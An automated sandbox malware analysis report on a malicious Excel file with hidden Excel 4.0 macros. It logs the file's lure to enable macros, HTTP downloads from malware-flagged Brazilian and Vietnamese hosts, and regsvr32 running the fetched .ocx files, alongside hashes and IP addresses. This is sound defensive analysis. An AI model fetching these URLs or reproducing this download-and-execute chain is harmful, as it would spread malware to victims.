Windows Analysis Report counter-1248368226.xls

Overview

General Information

Sample Name:	counter-1248368226.xls
Analysis ID:	532597
MD5:	30a0db47a66a3d3173457755bb166529
SHA1:	c852a219defe8ab726b72f8792386e35428b46dc
SHA256:	bdd97906934a97d1081e68ac8f71c98a169c4af705c17b73b69b3649df216885
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Yara detected hidden Macro 4.0 in Excel

Yara signature match

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Document contains embedded VBA macros

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

IP address seen in connection with other malware

Document misses a certain OLE stream usually present in this Microsoft Office document type

Classification

Signatures

AV Detection:

Multi AV Scanner detection for submitted file

Source: counter-1248368226.xls

ReversingLabs: Detection: 40%

Antivirus detection for URL or domain

Source: https://playsis.com.br/Y~T	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSi	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSL1BN5V/tiynh.html117.vn/TSh7GBeIR/tiynh.htmlink	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSL117.	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSL1BN5V/tiynh.html5	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSL1B.b	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qhtt	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSL1BN5V/tiynh.html	Avira URL Cloud: Label: malware
Source: https://playsis.com.br/qJSL1BNt	Avira URL Cloud: Label: malware

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 108.179.192.98:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.28.36.171:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.2.78:443 -> 192.168.2.22:49169 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 108.179.192.98:443

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: greenflag.esp.br

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 108.179.192.98:443

Source: excel.exe

Memory has grown: Private usage: 4MB later: 30MB

Networking:

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /yuINdRbM/tiynh.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: greenflag.esp.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /TSh7GBeIR/tiynh.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: noithat117.vnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /qJSL1BN5V/tiynh.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: playsis.com.brConnection: Keep-Alive

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 162.241.2.78 162.241.2.78
Source: Joe Sandbox View	IP Address: 108.179.192.98 108.179.192.98
Source: Joe Sandbox View	IP Address: 103.28.36.171 103.28.36.171

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443

Source: EXCEL.EXE, 00000000.00000003.564246269.0000000007FFF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.774801999.0000000007FF0000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567317162.0000000007FFD000.00000004.00000001.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.comB equals www.linkedin.com (Linkedin)
Source: EXCEL.EXE, 00000000.00000002.772332820.00000000050B0000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.504834488.0000000004A20000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: EXCEL.EXE, 00000000.00000003.564246269.0000000007FFF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.774801999.0000000007FF0000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567317162.0000000007FFD000.00000004.00000001.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: EXCEL.EXE, 00000000.00000002.775151480.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564294581.0000000008068000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567383807.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564281653.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567411737.0000000008068000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775255583.0000000008068000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: EXCEL.EXE, 00000000.00000002.772332820.00000000050B0000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.504834488.0000000004A20000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: EXCEL.EXE, 00000000.00000002.772332820.00000000050B0000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.504834488.0000000004A20000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: EXCEL.EXE, 00000000.00000002.772738904.0000000005297000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.505095885.0000000004C07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443759744.0000000004AD7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: EXCEL.EXE, 00000000.00000002.772738904.0000000005297000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.505095885.0000000004C07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443759744.0000000004AD7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: EXCEL.EXE, 00000000.00000002.775151480.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567383807.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564281653.0000000008043000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: EXCEL.EXE, 00000000.00000003.564294581.0000000008068000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567411737.0000000008068000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775255583.0000000008068000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000003.00000002.504300756.0000000003AB0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443258094.00000000039F0000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000003.00000002.503985491.0000000001D50000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.441043592.0000000001CC0000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: EXCEL.EXE, 00000000.00000002.772738904.0000000005297000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.505095885.0000000004C07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443759744.0000000004AD7000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: EXCEL.EXE, 00000000.00000002.772738904.0000000005297000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.505095885.0000000004C07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443759744.0000000004AD7000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000003.00000002.504300756.0000000003AB0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443258094.00000000039F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: EXCEL.EXE, 00000000.00000002.772332820.00000000050B0000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.504834488.0000000004A20000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: EXCEL.EXE, 00000000.00000002.772738904.0000000005297000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.505095885.0000000004C07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443759744.0000000004AD7000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: EXCEL.EXE, 00000000.00000002.772332820.00000000050B0000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.504834488.0000000004A20000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: EXCEL.EXE, 00000000.00000003.564287009.0000000008058000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775190147.0000000008058000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567396088.0000000008058000.00000004.00000001.sdmp	String found in binary or memory: https://greenflag.esp.br/
Source: EXCEL.EXE, 00000000.00000003.564287009.0000000008058000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775190147.0000000008058000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567396088.0000000008058000.00000004.00000001.sdmp	String found in binary or memory: https://greenflag.esp.br/s
Source: EXCEL.EXE, 00000000.00000002.773658206.00000000058D2000.00000004.00000001.sdmp	String found in binary or memory: https://greenflag.esp.br/yuINdRbM/tiynh.html
Source: EXCEL.EXE, 00000000.00000003.645341945.0000000005925000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.773729987.0000000005929000.00000004.00000001.sdmp	String found in binary or memory: https://noithat117.vn/
Source: EXCEL.EXE, 00000000.00000002.773658206.00000000058D2000.00000004.00000001.sdmp	String found in binary or memory: https://noithat117.vn/TSh7GBeIR/tiynh.html
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.boi
Source: EXCEL.EXE, 00000000.00000003.645341945.0000000005925000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.773729987.0000000005929000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/
Source: EXCEL.EXE, 00000000.00000003.645341945.0000000005925000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.773729987.0000000005929000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/Y~T
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSL117.
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSL1B.b
Source: EXCEL.EXE, 00000000.00000002.775298958.0000000008076000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564300874.0000000008076000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567427727.0000000008076000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSL1BN5V/tiynh.html
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSL1BN5V/tiynh.html117.vn/TSh7GBeIR/tiynh.htmlink
Source: EXCEL.EXE, 00000000.00000002.775298958.0000000008076000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564300874.0000000008076000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567427727.0000000008076000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSL1BN5V/tiynh.html5
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSL1BNt
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qJSi
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.com.br/qhtt
Source: EXCEL.EXE, 00000000.00000002.773538533.00000000057A0000.00000004.00000001.sdmp	String found in binary or memory: https://playsis.cre
Source: EXCEL.EXE, 00000000.00000002.775151480.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567441714.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775331264.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564294581.0000000008068000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564306959.0000000008085000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567383807.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.564281653.0000000008043000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.567411737.0000000008068000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.775255583.0000000008068000.00000004.00000001.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\tiynh[1].htm

Jump to behavior

Source: unknown

DNS traffic detected: queries for: greenflag.esp.br

Source: global traffic	HTTP traffic detected: GET /yuINdRbM/tiynh.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: greenflag.esp.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /TSh7GBeIR/tiynh.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: noithat117.vnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /qJSL1BN5V/tiynh.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: playsis.com.brConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 108.179.192.98:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.28.36.171:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.2.78:443 -> 192.168.2.22:49169 version: TLS 1.2

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 18 19 I OK I 20 (D PROTECTED VIEW Be careful - files from the lnterne 1' 1 View
Source: Screenshot number: 4	Screenshot OCR: Enable Content 25 26 (i) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 3
Source: Screenshot number: 8	Screenshot OCR: Enable Editing 18 '9 41' I 20 (D PROTECTED VIEW Be careful - files from the lnterne -cted View.
Source: Screenshot number: 8	Screenshot OCR: Enable Content 25 26 (i) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 3
Source: Screenshot number: 12	Screenshot OCR: Enable Editing Ik No RETURNQ or HALTQ funaon found on macro sheet. 18 19 I " I 20 (D PROTECTED V
Source: Screenshot number: 12	Screenshot OCR: Enable Content 25 26 (i) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 3
Source: Screenshot number: 16	Screenshot OCR: Enable Editing d 18 19 20 (D PROTECTED VIEW Be careful - files from the Internet can contain viru
Source: Screenshot number: 16	Screenshot OCR: Enable Content 25 26 (i) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 3
Source: Document image extraction number: 0	Screenshot OCR: Enable Editing CD PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless y
Source: Document image extraction number: 0	Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content If you are using a mobi
Source: Document image extraction number: 1	Screenshot OCR: Enable Editing 1 PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless y
Source: Document image extraction number: 1	Screenshot OCR: Enable Content DSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
Source: Screenshot number: 20	Screenshot OCR: Enable Editing d 18 19 20 (D PROTECTED VIEW Be careful - files from the Internet can contain viru
Source: Screenshot number: 20	Screenshot OCR: Enable Content 25 26 (i) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 Z

Yara signature match

Source: counter-1248368226.xls, type: SAMPLE	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: C:\Users\user\Desktop\counter-1248368226.xls, type: DROPPED	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Found a hidden Excel 4.0 Macro sheet

Source: counter-1248368226.xls	Macro extractor: Sheet name: Bor3
Source: counter-1248368226.xls	Macro extractor: Sheet name: Bor6
Source: counter-1248368226.xls	Macro extractor: Sheet name: Bor2
Source: counter-1248368226.xls	Macro extractor: Sheet name: Bor1
Source: counter-1248368226.xls	Macro extractor: Sheet name: Bor4
Source: counter-1248368226.xls	Macro extractor: Sheet name: Bor5

Document contains embedded VBA macros

Source: counter-1248368226.xls	OLE indicator, VBA macros: true
Source: counter-1248368226.xls.0.dr	OLE indicator, VBA macros: true

Document misses a certain OLE stream usually present in this Microsoft Office document type

Source: FFC2.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: counter-1248368226.xls

ReversingLabs: Detection: 40%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: counter-1248368226.xls	OLE indicator, Workbook stream: true
Source: counter-1248368226.xls.0.dr	OLE indicator, Workbook stream: true

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx	Jump to behavior

Source: EXCEL.EXE, 00000000.00000002.772332820.00000000050B0000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.504834488.0000000004A20000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.443606080.00000000048F0000.00000002.00020000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRE6A6.tmp

Jump to behavior

Source: classification engine

Classification label: mal80.expl.winXLS@7/4@3/3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: FFC2.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
